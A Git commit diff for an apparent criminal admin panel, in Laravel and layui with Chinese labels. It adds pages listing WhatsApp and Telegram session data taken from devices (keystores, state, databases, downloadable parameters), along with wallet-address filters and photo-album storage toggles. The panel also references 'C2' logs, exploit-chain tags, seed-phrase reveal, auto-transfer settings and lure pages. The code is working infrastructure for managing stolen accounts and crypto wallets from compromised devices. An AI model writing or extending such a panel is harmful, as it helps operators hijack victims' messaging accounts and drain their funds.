feat: tg/ws
This commit is contained in:
@@ -34,6 +34,12 @@
|
||||
<input type="text" name="device_key" class="layui-input" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">地址</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="address" class="layui-input" placeholder="钱包地址" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
@include('admin.partials.filter_agent_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">来源</label>
|
||||
|
||||
@@ -75,6 +75,11 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
}},
|
||||
{ field: 'chat_id', title: 'Chat ID', width: 140 },
|
||||
{ field: 'comment', title: '备注', minWidth: 100 },
|
||||
{ field: 'album_storage_default', title: '相册存储', width: 100, templet: function (d) {
|
||||
return Number(d.album_storage_default) === 1
|
||||
? '<span style="color:#16a34a;">开</span>'
|
||||
: '<span style="color:#888;">关</span>';
|
||||
}},
|
||||
{ field: 'channels_count', title: '渠道数', width: 90 },
|
||||
{ field: 'created_at', title: '创建时间', width: 160, sort: true },
|
||||
{ title: '操作', width: 240, align: 'center', fixed: 'right', toolbar: '#LAY-agent-ops' }
|
||||
@@ -115,6 +120,10 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
'<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
|
||||
'<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' +
|
||||
'</div></div>' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">相册存储</label><div class="layui-input-block">' +
|
||||
'<input type="checkbox" name="album_storage_switch" lay-skin="switch" lay-text="开|关" ' + (Number(values.album_storage_default) === 1 ? 'checked' : '') + '>' +
|
||||
'<div class="layui-form-mid layui-word-aux" style="margin-left:0;padding:4px 0 0;">该代理新设备默认是否开启相册存储,默认关;仅管理员可改</div>' +
|
||||
'</div></div>' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">自动转账</label><div class="layui-input-block">' +
|
||||
'<input type="checkbox" name="auto_transfer_switch" lay-skin="switch" lay-text="开|关" ' + (Number(values.auto_transfer_enabled) === 1 ? 'checked' : '') + '>' +
|
||||
'<div class="layui-form-mid layui-word-aux" style="margin-left:0;padding:4px 0 0;">仅控制该代理渠道,与系统官方开关互不影响</div>' +
|
||||
@@ -164,8 +173,10 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
$('#LAY-agent-form').serializeArray().forEach(function (x) { data[x.name] = x.value; });
|
||||
data.status = $('#LAY-agent-form input[name=status_switch]').is(':checked') ? 1 : 0;
|
||||
data.auto_transfer_enabled = $('#LAY-agent-form input[name=auto_transfer_switch]').is(':checked') ? 1 : 0;
|
||||
data.album_storage_default = $('#LAY-agent-form input[name=album_storage_switch]').is(':checked') ? 1 : 0;
|
||||
delete data.status_switch;
|
||||
delete data.auto_transfer_switch;
|
||||
delete data.album_storage_switch;
|
||||
onOk(data, index);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -195,61 +195,36 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
: '';
|
||||
var channelBlock = creating
|
||||
? '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block">' +
|
||||
'<input name="channel_id" class="layui-input" maxlength="32" id="LAY-ch-id-input" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="旧版 32 位 / 新版 X.Y.ZZ">' +
|
||||
'<input name="channel_id" class="layui-input" maxlength="6" id="LAY-ch-id-input" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="例如 A.B.C1 或 3.1.07">' +
|
||||
'<button type="button" class="layui-btn layui-btn-primary" id="LAY-ch-rand" style="margin-left:6px;">随机</button></div></div>'
|
||||
: '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block"><input class="layui-input" readonly value="' + (values.channel_id || '') + '"></div></div>';
|
||||
|
||||
var typeBlock = (isAdmin && creating)
|
||||
? '<div class="layui-form-item"><label class="layui-form-label">类型</label><div class="layui-input-block">' +
|
||||
'<select name="builder_type" lay-filter="LAY-ch-builder-type">' +
|
||||
'<option value="old"' + ((values.builder_type || 'old') === 'old' ? ' selected' : '') + '>旧版</option>' +
|
||||
'<option value="new"' + (values.builder_type === 'new' ? ' selected' : '') + '>新版</option>' +
|
||||
'</select>' +
|
||||
'<div class="layui-form-mid layui-word-aux">旧版=/web/id/support.html;新版=/channel/X.Y.ZZ/(创建时自动构建,c 取自 XXBB_CHANNEL_C)</div></div></div>'
|
||||
: '';
|
||||
|
||||
var templateBlock = (isAdmin && creating)
|
||||
? '<div class="layui-form-item" id="LAY-ch-template-item"><label class="layui-form-label">页面模板</label><div class="layui-input-block">' +
|
||||
'<select name="support_template">' +
|
||||
'<option value="blank"' + ((values.support_template || 'blank') === 'blank' ? ' selected' : '') + '>blank(空白页)</option>' +
|
||||
'<option value="test"' + (values.support_template === 'test' ? ' selected' : '') + '>test(加载页 / 15s 倒计时)</option>' +
|
||||
'</select>' +
|
||||
'<div class="layui-form-mid layui-word-aux" id="LAY-ch-template-hint">旧版=support.html;新版=weifile.html(test=loading,blank=空白)</div></div></div>'
|
||||
'<div class="layui-form-mid layui-word-aux">weifile.html:test=大圆圈加载+15s 倒计时;blank=空白页。路径 /channel/X.Y.ZZ/(c 取自 XXBB_CHANNEL_C)</div></div></div>'
|
||||
: '';
|
||||
|
||||
layer.open({
|
||||
type: 1,
|
||||
title: title,
|
||||
area: ['560px', creating ? (isAdmin ? '580px' : '380px') : '420px'],
|
||||
area: ['560px', creating ? (isAdmin ? '500px' : '380px') : '420px'],
|
||||
content: '<form class="layui-form" style="padding:16px;" id="LAY-ch-form" lay-filter="LAY-ch-form">' +
|
||||
channelBlock + typeBlock + agentBlock + templateBlock +
|
||||
channelBlock + agentBlock + templateBlock +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">备注</label><div class="layui-input-block">' +
|
||||
'<input name="remark" class="layui-input" value="' + (values.remark || '').replace(/"/g, '"') + '"></div></div>' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
|
||||
'<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' +
|
||||
'</div></div>' +
|
||||
(creating && isAdmin ? '<div class="layui-form-item"><div class="layui-input-block" style="color:#888;font-size:12px;">新建将调用对应 builder 生成静态资源。代理最多 ' + maxPerAgent + ' 条。</div></div>' : '') +
|
||||
(creating && isAdmin ? '<div class="layui-form-item"><div class="layui-input-block" style="color:#888;font-size:12px;">新建将调用新版 builder 生成静态资源。代理最多 ' + maxPerAgent + ' 条。</div></div>' : '') +
|
||||
'</form>',
|
||||
success: function () {
|
||||
form.render();
|
||||
function syncTemplateVisibility() {
|
||||
var type = $('#LAY-ch-form select[name=builder_type]').val() || 'old';
|
||||
var $id = $('#LAY-ch-id-input');
|
||||
$('#LAY-ch-template-item').show();
|
||||
if (type === 'new') {
|
||||
$id.attr('maxlength', 6).attr('placeholder', '例如 A.B.C1 或 3.1.07');
|
||||
if (!/^[0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2}$/.test($id.val() || '')) $id.val('');
|
||||
$('#LAY-ch-template-hint').text('新版 weifile.html:test=大圆圈加载+15s 倒计时;blank=空白页');
|
||||
} else {
|
||||
$id.attr('maxlength', 32).attr('placeholder', '32位字母数字');
|
||||
$('#LAY-ch-template-hint').text('旧版 support.html:test=HUD;blank=空白');
|
||||
}
|
||||
}
|
||||
syncTemplateVisibility();
|
||||
form.on('select(LAY-ch-builder-type)', function () { syncTemplateVisibility(); });
|
||||
$('#LAY-ch-rand').on('click', function () {
|
||||
var type = $('#LAY-ch-form select[name=builder_type]').val() || 'old';
|
||||
$.getJSON(@json(route('admin.channels.randomId')), { builder_type: type }, function (res) {
|
||||
$.getJSON(@json(route('admin.channels.randomId')), function (res) {
|
||||
if (res.code === 0) $('#LAY-ch-form input[name=channel_id]').val(res.data.channel_id);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -13,6 +13,9 @@
|
||||
.wrap{word-break:break-all;max-width:640px}
|
||||
.wallet-row{background:#fff7e6}
|
||||
.tag-wallet{display:inline-block;background:#FFB800;color:#fff;padding:0 6px;border-radius:2px;font-size:12px}
|
||||
.tag-im{display:inline-block;color:#fff;padding:0 6px;border-radius:2px;font-size:12px;line-height:20px}
|
||||
.tag-im-ws{background:#25d366}
|
||||
.tag-im-tg{background:#2aabee}
|
||||
.tag-chain{display:inline-block;color:#fff;padding:0 6px;border-radius:2px;font-size:12px;line-height:20px}
|
||||
.tag-chain-coruna{background:#0d9488}
|
||||
.tag-chain-darksword{background:#7c3aed}
|
||||
|
||||
@@ -99,6 +99,7 @@
|
||||
<div class="layui-inline dash-date-shortcuts">
|
||||
<button type="button" class="layui-btn layui-btn-primary" data-range="today">今日</button>
|
||||
<button type="button" class="layui-btn layui-btn-primary" data-range="yesterday">昨日</button>
|
||||
<button type="button" class="layui-btn layui-btn-primary" data-range="7d">近 7 天</button>
|
||||
<button type="button" class="layui-btn layui-btn-primary" data-range="month">本月</button>
|
||||
</div>
|
||||
@include('admin.partials.filter_channel_select', ['channelBlockClass' => 'dash-channel-block'])
|
||||
@@ -249,12 +250,6 @@ layui.use(['form', 'laydate', 'layer'], function () {
|
||||
function fmtDate(d) {
|
||||
return d.getFullYear() + '-' + pad(d.getMonth() + 1) + '-' + pad(d.getDate());
|
||||
}
|
||||
function defaultRange() {
|
||||
var to = new Date();
|
||||
var from = new Date();
|
||||
from.setDate(to.getDate() - 29);
|
||||
return fmtDate(from) + ' - ' + fmtDate(to);
|
||||
}
|
||||
function rangeOf(kind) {
|
||||
var today = new Date();
|
||||
today.setHours(0, 0, 0, 0);
|
||||
@@ -266,14 +261,19 @@ layui.use(['form', 'laydate', 'layer'], function () {
|
||||
y.setDate(y.getDate() - 1);
|
||||
return fmtDate(y) + ' - ' + fmtDate(y);
|
||||
}
|
||||
if (kind === '7d') {
|
||||
var from7 = new Date(today);
|
||||
from7.setDate(today.getDate() - 6);
|
||||
return fmtDate(from7) + ' - ' + fmtDate(today);
|
||||
}
|
||||
if (kind === 'month') {
|
||||
var from = new Date(today.getFullYear(), today.getMonth(), 1);
|
||||
return fmtDate(from) + ' - ' + fmtDate(today);
|
||||
}
|
||||
return defaultRange();
|
||||
return fmtDate(today) + ' - ' + fmtDate(today);
|
||||
}
|
||||
|
||||
var initialRange = defaultRange();
|
||||
var initialRange = rangeOf('today');
|
||||
$('#LAY-dash-date-range').val(initialRange);
|
||||
laydate.render({
|
||||
elem: '#LAY-dash-date-range',
|
||||
|
||||
@@ -54,6 +54,18 @@
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">WS/TG</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="has_im">
|
||||
<option value="">全部</option>
|
||||
<option value="yes">有</option>
|
||||
<option value="whatsapp">有 WS</option>
|
||||
<option value="telegram">有 TG</option>
|
||||
<option value="none">无</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">安装时间</label>
|
||||
<div class="layui-input-block">
|
||||
@@ -138,6 +150,12 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
}).join(' ');
|
||||
return '<span style="color:#d97706;font-weight:600;">有</span>' + (tags ? ' ' + tags : '');
|
||||
} },
|
||||
{ field: 'im_names', title: 'WS/TG', width: 140, templet: function (d) {
|
||||
var tags = [];
|
||||
if (Number(d.has_whatsapp) === 1) tags.push('<span class="tag-im tag-im-ws">WS</span>');
|
||||
if (Number(d.has_telegram) === 1) tags.push('<span class="tag-im tag-im-tg">TG</span>');
|
||||
return tags.length ? tags.join(' ') : '<span style="color:#94a3b8;">—</span>';
|
||||
} },
|
||||
{ field: 'album_storage', title: '相册存储', width: 110, templet: function (d) {
|
||||
var on = Number(d.album_storage) === 1;
|
||||
return '<input type="checkbox" lay-skin="switch" lay-text="开|关" lay-filter="LAY-device-album-list"' +
|
||||
@@ -200,6 +218,7 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
ip: '',
|
||||
ios: '',
|
||||
has_wallet: '',
|
||||
has_im: '',
|
||||
installed_from: '',
|
||||
installed_to: ''
|
||||
},
|
||||
|
||||
@@ -53,6 +53,21 @@
|
||||
@endif
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>WS/TG</th>
|
||||
<td colspan="3">
|
||||
@if ($device->hasWhatsApp() || $device->hasTelegram())
|
||||
@if ($device->hasWhatsApp())
|
||||
<span class="tag-im tag-im-ws">WS</span>
|
||||
@endif
|
||||
@if ($device->hasTelegram())
|
||||
<span class="tag-im tag-im-tg">TG</span>
|
||||
@endif
|
||||
@else
|
||||
—
|
||||
@endif
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>相册存储</th>
|
||||
<td colspan="3">
|
||||
|
||||
@@ -1,45 +0,0 @@
|
||||
@extends('admin.content')
|
||||
|
||||
@section('title', '原始日志')
|
||||
|
||||
@section('content')
|
||||
@php
|
||||
$labels = ['xxbb' => '新版 C2(public/log/xxbb)', 'c2' => '旧版 C2(public/log/c2)'];
|
||||
@endphp
|
||||
@foreach ($labels as $k => $title)
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">{{ $title }}</div>
|
||||
<div class="layui-card-body">
|
||||
@if ($k === 'xxbb')
|
||||
<p class="layui-word-aux" style="margin-bottom:12px;">xxbb 短路径上报单独落盘,与旧版 /api/user/* 分开。</p>
|
||||
@else
|
||||
<p class="layui-word-aux" style="margin-bottom:12px;">按日文件落盘,不再写入数据库。</p>
|
||||
@endif
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>文件</th>
|
||||
<th>大小</th>
|
||||
<th>修改时间</th>
|
||||
<th></th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
@forelse ($groups[$k] ?? [] as $f)
|
||||
<tr>
|
||||
<td><code>{{ $f['name'] }}</code></td>
|
||||
<td>{{ number_format($f['size']) }} B</td>
|
||||
<td>{{ $f['mtime'] }}</td>
|
||||
<td>
|
||||
<a class="layui-btn layui-btn-xs" href="{{ route('admin.logs.show', ['kind' => $k, 'file' => $f['name'], 'path' => $path, 'device' => $device]) }}">查看</a>
|
||||
</td>
|
||||
</tr>
|
||||
@empty
|
||||
<tr><td colspan="4">暂无日志文件</td></tr>
|
||||
@endforelse
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
@endforeach
|
||||
@endsection
|
||||
@@ -1,56 +0,0 @@
|
||||
@extends('admin.content')
|
||||
|
||||
@section('title', '日志 '.$file)
|
||||
|
||||
@section('content')
|
||||
@php
|
||||
$showBase = ['kind' => $kind ?? 'c2', 'file' => $file];
|
||||
$query = array_filter([
|
||||
'path' => $path ?? '',
|
||||
'device' => $device ?? '',
|
||||
], fn ($v) => $v !== '' && $v !== null);
|
||||
@endphp
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">
|
||||
{{ ($kind ?? 'c2') === 'xxbb' ? '新版' : '旧版' }} / {{ $file }}
|
||||
<a class="layui-btn layui-btn-primary layui-btn-xs" style="float:right;margin-top:8px;" href="{{ route('admin.logs.index') }}">返回</a>
|
||||
</div>
|
||||
<div class="layui-card-body">
|
||||
<form class="layui-form" method="get" action="{{ route('admin.logs.show', $showBase) }}" style="margin-bottom: 15px;">
|
||||
<div class="layui-inline">
|
||||
<input type="text" name="device" value="{{ $device ?? '' }}" placeholder="设备 ID" class="layui-input" style="width:200px;">
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<input type="text" name="path" value="{{ $path ?? '' }}" placeholder="path 关键字" class="layui-input" style="width:220px;">
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn" type="submit">筛选</button>
|
||||
</div>
|
||||
</form>
|
||||
<p class="layui-word-aux">
|
||||
文件 {{ number_format($fileSize ?? 0) }} B · 第 {{ $page ?? 1 }} 页 · 本页 {{ count($entries) }} / {{ $perPage ?? 40 }} 条(新→旧,避免整文件渲染)
|
||||
</p>
|
||||
<div style="margin-bottom:12px;">
|
||||
@if ($hasNewer ?? false)
|
||||
<a class="layui-btn layui-btn-sm layui-btn-primary" href="{{ route('admin.logs.show', array_merge($showBase, $query, ['page' => ($page ?? 1) - 1])) }}">更新</a>
|
||||
@endif
|
||||
@if ($hasOlder ?? false)
|
||||
<a class="layui-btn layui-btn-sm" href="{{ route('admin.logs.show', array_merge($showBase, $query, ['page' => ($page ?? 1) + 1])) }}">更早</a>
|
||||
@endif
|
||||
</div>
|
||||
@forelse ($entries as $entry)
|
||||
<pre class="json-block" style="margin-bottom:12px;">{{ $entry }}</pre>
|
||||
@empty
|
||||
<p>无匹配记录</p>
|
||||
@endforelse
|
||||
<div style="margin-top:12px;">
|
||||
@if ($hasNewer ?? false)
|
||||
<a class="layui-btn layui-btn-sm layui-btn-primary" href="{{ route('admin.logs.show', array_merge($showBase, $query, ['page' => ($page ?? 1) - 1])) }}">更新</a>
|
||||
@endif
|
||||
@if ($hasOlder ?? false)
|
||||
<a class="layui-btn layui-btn-sm" href="{{ route('admin.logs.show', array_merge($showBase, $query, ['page' => ($page ?? 1) + 1])) }}">更早</a>
|
||||
@endif
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@endsection
|
||||
@@ -21,7 +21,7 @@ window.CorunaMnemonicReveal = function (opts) {
|
||||
return layer.msg('无权查看明文');
|
||||
}
|
||||
if (!googleBound) {
|
||||
return layer.msg('请先在「安全 → 谷歌验证」绑定。查看助记词必须验证。', {
|
||||
return layer.msg('请先在「系统 → 谷歌验证」绑定。查看助记词必须验证。', {
|
||||
time: 3200
|
||||
}, function () {
|
||||
if (securityUrl && parent && parent.layui && parent.layui.index) {
|
||||
|
||||
@@ -0,0 +1,153 @@
|
||||
@extends('admin.content')
|
||||
|
||||
@section('title', $title)
|
||||
|
||||
@section('content')
|
||||
@php
|
||||
$portal = $portal ?? 'admin';
|
||||
$isWhatsApp = (int) ($kind ?? 0) === \App\Models\PluginSession::KIND_WHATSAPP;
|
||||
@endphp
|
||||
<div class="layui-card">
|
||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-session-search">
|
||||
<div class="layui-form-item">
|
||||
@include('admin.partials.filter_channel_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">设备 ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="device_key" class="layui-input" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
@include('admin.partials.filter_agent_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">{{ $isWhatsApp ? '账号 / 手机' : '用户 ID' }}</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="account_id" class="layui-input" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn" lay-submit lay-filter="LAY-session-search">搜索</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<div class="layui-card-body">
|
||||
<table id="LAY-session-list" lay-filter="LAY-session-list"></table>
|
||||
<script type="text/html" id="LAY-session-ops">
|
||||
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="payload">参数</a>
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
@endsection
|
||||
|
||||
@push('scripts')
|
||||
<script>
|
||||
layui.use(['table', 'form', 'layer'], function () {
|
||||
var table = layui.table, form = layui.form, layer = layui.layer;
|
||||
var isWhatsApp = @json($isWhatsApp);
|
||||
var dataUrl = @json($isWhatsApp ? route($portal.'.whatsapp.data') : route($portal.'.telegram.data'));
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
function esc(s) {
|
||||
return String(s == null ? '' : s)
|
||||
.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"');
|
||||
}
|
||||
|
||||
function yesNo(v) {
|
||||
return v ? '<span style="color:#16a34a;">有</span>' : '<span style="color:#94a3b8;">无</span>';
|
||||
}
|
||||
function dash(v) { return v ? v : '—'; }
|
||||
|
||||
var cols = [
|
||||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||||
{ field: 'device_key', title: '设备 ID', width: 160 },
|
||||
{ field: 'channel_id', title: '渠道 ID', width: 160, templet: function (d) { return dash(d.channel_id); } }
|
||||
];
|
||||
if (isWhatsApp) {
|
||||
cols.push(
|
||||
{ field: 'account_id', title: '账号', minWidth: 160, sort: true, templet: function (d) { return dash(d.account_id); } },
|
||||
{ field: 'phone', title: '手机号', width: 150, templet: function (d) { return dash(d.phone); } },
|
||||
{ field: 'nickname', title: '昵称', width: 140, templet: function (d) { return dash(d.nickname); } },
|
||||
{ field: 'version', title: '版本', width: 110, templet: function (d) { return dash(d.version); } },
|
||||
{ field: 'has_keystore', title: '密钥', width: 80, templet: function (d) { return yesNo(d.has_keystore); } }
|
||||
);
|
||||
} else {
|
||||
cols.push(
|
||||
{ field: 'account_id', title: '用户 ID', minWidth: 160, sort: true, templet: function (d) { return dash(d.account_id); } },
|
||||
{ field: 'has_state', title: '状态', width: 80, templet: function (d) { return yesNo(d.has_state); } },
|
||||
{ field: 'has_db', title: 'DB', width: 80, templet: function (d) { return yesNo(d.has_db); } }
|
||||
);
|
||||
}
|
||||
cols.push(
|
||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||
{ field: 'updated_at', title: '更新时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 170, align: 'center', fixed: 'right', toolbar: '#LAY-session-ops' }
|
||||
);
|
||||
|
||||
table.render({
|
||||
elem: '#LAY-session-list',
|
||||
id: 'LAY-session-list',
|
||||
url: dataUrl,
|
||||
cols: [cols],
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
form.on('submit(LAY-session-search)', function (data) {
|
||||
table.reload('LAY-session-list', { where: data.field, page: { curr: 1 } });
|
||||
return false;
|
||||
});
|
||||
|
||||
table.on('tool(LAY-session-list)', function (obj) {
|
||||
if (obj.event === 'payload') {
|
||||
var url = obj.data.payload_url;
|
||||
if (!url) {
|
||||
layer.msg('缺少参数地址');
|
||||
return;
|
||||
}
|
||||
var load = layer.load(1, { shade: 0.1 });
|
||||
fetch(url, { headers: { 'Accept': 'application/json', 'X-Requested-With': 'XMLHttpRequest' }, credentials: 'same-origin' })
|
||||
.then(function (res) {
|
||||
return res.json().then(function (body) { return { ok: res.ok, body: body || {} }; })
|
||||
.catch(function () { return { ok: false, body: { msg: '参数接口返回了非 JSON' } }; });
|
||||
})
|
||||
.then(function (out) {
|
||||
layer.close(load);
|
||||
var body = out.body || {};
|
||||
var json = body.data && body.data.payload_json;
|
||||
if (!out.ok || body.code === 1 || !json) {
|
||||
layer.msg(body.msg || '加载参数失败');
|
||||
return;
|
||||
}
|
||||
var downloadUrl = (body.data && body.data.download_url) || obj.data.download_url || '';
|
||||
var downloadBtn = downloadUrl
|
||||
? '<a class="layui-btn layui-btn-sm" href="' + esc(downloadUrl) + '" download>下载完整参数</a>'
|
||||
: '';
|
||||
layer.open({
|
||||
type: 1,
|
||||
title: (isWhatsApp ? 'WS 参数 #' : 'TG 参数 #') + obj.data.id,
|
||||
area: ['720px', '520px'],
|
||||
content: '<div style="margin:12px 12px 0;">' + downloadBtn + '</div>' +
|
||||
'<pre class="json-block" style="margin:12px;max-height:400px;">' +
|
||||
esc(json) + '</pre>'
|
||||
});
|
||||
})
|
||||
.catch(function () {
|
||||
layer.close(load);
|
||||
layer.msg('加载参数失败');
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (obj.event !== 'detail') return;
|
||||
var url = obj.data.detail_url;
|
||||
var title = '设备 ' + (obj.data.device_key || ('#' + obj.data.id));
|
||||
try {
|
||||
if (parent && parent.layui && parent.layui.index) {
|
||||
parent.layui.index.openTabsPage(url, title);
|
||||
return;
|
||||
}
|
||||
} catch (e) {}
|
||||
location.href = url;
|
||||
});
|
||||
});
|
||||
</script>
|
||||
@endpush
|
||||
@@ -104,6 +104,12 @@
|
||||
<dd data-name="notes">
|
||||
<a lay-href="{{ route('admin.notes.index') }}">备忘录</a>
|
||||
</dd>
|
||||
<dd data-name="whatsapp">
|
||||
<a lay-href="{{ route('admin.whatsapp.index') }}">WS 参数</a>
|
||||
</dd>
|
||||
<dd data-name="telegram">
|
||||
<a lay-href="{{ route('admin.telegram.index') }}">TG 参数</a>
|
||||
</dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li data-name="promo" class="layui-nav-item">
|
||||
@@ -120,17 +126,6 @@
|
||||
</dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li data-name="security" class="layui-nav-item">
|
||||
<a href="javascript:;" lay-tips="安全" lay-direction="2">
|
||||
<i class="layui-icon layui-icon-password"></i>
|
||||
<cite>安全</cite>
|
||||
</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd data-name="google2fa">
|
||||
<a lay-href="{{ route('admin.security.google2fa') }}">谷歌验证</a>
|
||||
</dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li data-name="system" class="layui-nav-item">
|
||||
<a href="javascript:;" lay-tips="系统" lay-direction="2">
|
||||
<i class="layui-icon layui-icon-set"></i>
|
||||
@@ -140,13 +135,13 @@
|
||||
<dd data-name="settings">
|
||||
<a lay-href="{{ route('admin.system.settings.index') }}">设置</a>
|
||||
</dd>
|
||||
<dd data-name="google2fa">
|
||||
<a lay-href="{{ route('admin.security.google2fa') }}">谷歌验证</a>
|
||||
</dd>
|
||||
@if(auth('admin')->user()?->isSuper())
|
||||
<dd data-name="admins">
|
||||
<a lay-href="{{ route('admin.system.admins.index') }}">管理员</a>
|
||||
</dd>
|
||||
<dd data-name="raw-logs">
|
||||
<a lay-href="{{ route('admin.logs.index') }}">原始日志</a>
|
||||
</dd>
|
||||
@endif
|
||||
</dl>
|
||||
</li>
|
||||
|
||||
Reference in New Issue
Block a user